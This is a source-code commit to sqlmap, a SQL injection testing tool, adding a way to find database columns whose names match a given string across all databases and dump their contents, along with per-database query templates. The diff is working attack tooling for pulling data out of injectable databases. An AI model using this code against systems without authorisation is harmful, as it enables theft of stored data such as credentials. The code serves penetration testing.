sqlmap 0.8-rc4: --dump option now can also accept only -C: user can provide a string column and sqlmap will enumerate all databases, tables and columns that contain the 'provided_string' or '%provided_string%' then ask the user to dump the entries of only those columns.

--columns now accepts also -C option: user can provide a string column and sqlmap will enumerate all columns of a specific table like '%provided_string%'.
Minor enhancements.
Minor bug fixes.
This commit is contained in:
Bernardo Damele 2010-01-09 00:05:00 +00:00
parent 6a62a78b0a
commit f316e722c1
5 changed files with 430 additions and 56 deletions

View File

@ -124,6 +124,31 @@ class Dump:
self.__write(" %s: %s" % (subHeader, setting))
print
def dbColumns(self, dbColumns, colConsider, dbs):
for column, dbTables in dbColumns.items():
if colConsider == "1":
colConsiderStr = "s like '" + column + "' were"
else:
colConsiderStr = " '%s' was" % column
msg = "Column%s found in the " % colConsiderStr
msg += "following databases:"
self.__write(msg)
printDbs = {}
for db, tblData in dbs.items():
for tbl, colData in tblData.items():
for col in colData:
if column in col:
if db in printDbs:
printDbs[db][tbl] = colData
else:
printDbs[db] = { tbl: colData }
break
self.dbTableColumns(printDbs)
def dbTables(self, dbTables):
if not isinstance(dbTables, dict):
self.string("tables", dbTables)
@ -171,11 +196,15 @@ class Dump:
for column in colList:
colType = columns[column]
maxlength1 = max(maxlength1, len(column))
if colType is not None:
maxlength2 = max(maxlength2, len(colType))
maxlength1 = max(maxlength1, len("COLUMN"))
maxlength2 = max(maxlength2, len("TYPE"))
lines1 = "-" * (int(maxlength1) + 2)
if colType is not None:
maxlength2 = max(maxlength2, len("TYPE"))
lines2 = "-" * (int(maxlength2) + 2)
self.__write("Database: %s\nTable: %s" % (db, table))
@ -185,23 +214,42 @@ class Dump:
else:
self.__write("[%d columns]" % len(columns))
if colType is not None:
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("+%s+" % lines1)
blank1 = " " * (maxlength1 - len("COLUMN"))
if colType is not None:
blank2 = " " * (maxlength2 - len("TYPE"))
if colType is not None:
self.__write("| Column%s | Type%s |" % (blank1, blank2))
self.__write("+%s+%s+" % (lines1, lines2))
else:
self.__write("| Column%s |" % blank1)
self.__write("+%s+" % lines1)
for column in colList:
colType = columns[column]
blank1 = " " * (maxlength1 - len(column))
if colType is not None:
blank2 = " " * (maxlength2 - len(colType))
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
else:
self.__write("| %s%s |" % (column, blank1))
if colType is not None:
self.__write("+%s+%s+\n" % (lines1, lines2))
else:
self.__write("+%s+\n" % lines1)
def dbTableValues(self, tableValues):
if tableValues is None:
return
db = tableValues["__infos__"]["db"]
if not db:
db = "All"

View File

@ -27,7 +27,7 @@ import subprocess
import sys
# sqlmap version and site
VERSION = "0.8-rc3"
VERSION = "0.8-rc4"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
@ -58,7 +58,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
# Database managemen system specific variables
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]

View File

@ -145,6 +145,8 @@ class queriesHandler(ContentHandler):
self.__blind2 = sanitizeStr(attrs.get("query2"))
self.__count = sanitizeStr(attrs.get("count"))
self.__count2 = sanitizeStr(attrs.get("count2"))
self.__condition = sanitizeStr(attrs.get("condition"))
self.__condition2 = sanitizeStr(attrs.get("condition2"))
def endElement(self, name):
if name == "dbms":
@ -192,11 +194,18 @@ class queriesHandler(ContentHandler):
elif name == "columns":
self.__columns = {}
self.__columns["inband"] = { "query": self.__inband }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
self.__queries.columns = self.__columns
elif name == "dump_column":
self.__dumpColumn = {}
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
self.__queries.dumpColumn = self.__dumpColumn
elif name == "dump_table":
self.__dumpTable = {}
self.__dumpTable["inband"] = { "query": self.__inband }

View File

@ -190,7 +190,11 @@ class Enumeration:
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if condition:
@ -299,7 +303,12 @@ class Enumeration:
logger.info(infoMsg)
passwords = []
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "Microsoft SQL Server":
@ -543,7 +552,12 @@ class Enumeration:
logger.info(infoMsg)
privileges = set()
indexRange = getRange(count)
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
@ -742,7 +756,12 @@ class Enumeration:
continue
tables = []
indexRange = getRange(count)
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query"] % (db, index)
@ -785,31 +804,46 @@ class Enumeration:
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].columns
infoMsg = "fetching columns "
if conf.col:
if kb.dbms == "Oracle":
conf.col = conf.col.upper()
colList = conf.col.split(",")
condition = rootQuery["blind"]["condition"]
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
if kb.unionPosition:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl)
query += condQuery
value = inject.getValue(query, blind=False)
if value:
table = {}
columns = {}
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
@ -824,8 +858,10 @@ class Enumeration:
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
query += condQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
@ -834,24 +870,27 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
table = {}
columns = {}
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
elif kb.dbms == "Microsoft SQL Server":
# TODO: adjust with condQuery
query = rootQuery["blind"]["query"] % (index, conf.db,
conf.db, conf.tbl)
query += condQuery
query = agent.limitQuery(index, query)
column = inject.getValue(query, inband=False)
if not onlyColNames:
@ -881,11 +920,275 @@ class Enumeration:
return kb.data.cachedColumns
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
def dumpColumn(self):
# TODO: adjust for MSSQL
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.col:
errMsg = "missing column parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
rootQuery = queries[kb.dbms].dumpColumn
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery["inband"]["condition"]
dbCond = rootQuery["inband"]["condition2"]
message = "do you want sqlmap to consider provided column(s):\n"
message += "[1] as LIKE column names (default)\n"
message += "[2] as exact column names"
colConsider = readInput(message, default="1")
if not colConsider or colConsider.isdigit() and colConsider == "1":
colConsider = "1"
colCondParam = " LIKE '%%%s%%'"
elif colConsider.isdigit() and colConsider == "2":
colCondParam = "='%s'"
else:
errMsg = "invalid value"
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
for column in colList:
if kb.dbms == "Oracle":
column = column.upper()
conf.db = "USERS"
foundCols[column] = {}
if conf.db:
for db in conf.db.split(","):
dbs[db] = {}
foundCols[column][db] = []
continue
infoMsg = "fetching databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
if conf.excludeSysDbs and kb.dbms != "Oracle":
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
dbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if kb.unionPosition:
query = rootQuery["inband"]["query"]
query += colQuery
query += dbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
dbs[value] = {}
foundCols[column][value] = []
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery["blind"]["count"]
query += colQuery
query += dbsQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query"]
query += colQuery
query += dbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
dbs[db] = {}
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
if kb.unionPosition:
query = rootQuery["inband"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
if value not in dbs[db]:
dbs[db][value] = {}
dbs[db][value][column] = None
foundCols[column][db].append(value)
else:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery["blind"]["count2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
query = rootQuery["blind"]["query2"]
if kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
else:
query = query % db
query += " AND %s" % colQuery
query = agent.limitQuery(index, query)
tbl = inject.getValue(query, inband=False)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
if colConsider == "1":
okDbs = {}
for db, tableData in dbs.items():
conf.db = db
okDbs[db] = {}
for tbl, columns in tableData.items():
conf.tbl = tbl
for column in columns:
conf.col = column
self.getColumns(onlyColNames=True)
if tbl in okDbs[db]:
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
else:
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
kb.data.cachedColumns = {}
dbs = okDbs
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database?\n[a]ll (default)\n"
for db in dbs:
message += "[%s]\n" % db
message += "[q]uit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
dumpFromDbs = dbs.keys()
elif test[0] in ("q", "Q"):
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tblData in dbs.items():
if db not in dumpFromDbs:
continue
conf.db = db
for table, columns in tblData.items():
conf.tbl = table
conf.col = ",".join(column for column in columns)
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
dumper.dbTableValues(data)
def dumpTable(self):
if not conf.tbl and not conf.col:
errMsg = "missing both table and column parameters, please "
errMsg += "provide at least one of them"
raise sqlmapMissingMandatoryOptionException, errMsg
if conf.col and not conf.tbl:
self.dumpColumn()
return
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
@ -926,6 +1229,8 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
entriesCount = 0
if kb.unionPosition:
if kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % (colString, conf.tbl.upper())
@ -934,6 +1239,9 @@ class Enumeration:
entries = inject.getValue(query, blind=False)
if entries:
if isinstance(entries, str):
entries = [ entries ]
entriesCount = len(entries)
index = 0
@ -974,17 +1282,15 @@ class Enumeration:
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of "
warnMsg = "unable to retrieve the number of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "entries for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
if conf.dumpAll:
logger.warn(errMsg)
return None
else:
raise sqlmapNoneDataException, errMsg
lengths = {}
entries = {}
@ -1036,17 +1342,15 @@ class Enumeration:
"db": conf.db
}
else:
errMsg = "unable to retrieve the entries of "
warnMsg = "unable to retrieve the entries of "
if conf.col:
errMsg += "columns '%s' " % colString
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
warnMsg += "columns '%s' " % colString
warnMsg += "for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
logger.warn(warnMsg)
if conf.dumpAll:
logger.warn(errMsg)
return None
else:
raise sqlmapNoneDataException, errMsg
return kb.data.dumpedTable

View File

@ -51,9 +51,13 @@
<blind query="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1" count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s' LIMIT %d, 1" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"/>
<inband query="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
<blind query="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
</columns>
<dump_column>
<inband query="SELECT table_schema FROM information_schema.COLUMNS WHERE " query2="SELECT table_name FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
<blind query="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE " query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE " count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s LIMIT %d, 1" count="SELECT COUNT(*) FROM %s.%s"/>
@ -102,9 +106,13 @@
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
</tables>
<columns>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'" condition="COLUMN_NAME"/>
</columns>
<dump_column>
<inband query="" query2="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
<blind query="" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS" count="" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS" condition="COLUMN_NAME" condition2="TABLESPACE_NAME"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
@ -161,9 +169,13 @@
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables>
<columns>
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_column>
<inband query="SELECT nspname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND " count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname"/>
</dump_column>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
<blind query="SELECT %s FROM %s.%s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
@ -214,6 +226,7 @@
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
</columns>
<dump_column/>
<dump_table>
<inband query="SELECT %s FROM %s..%s"/>
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>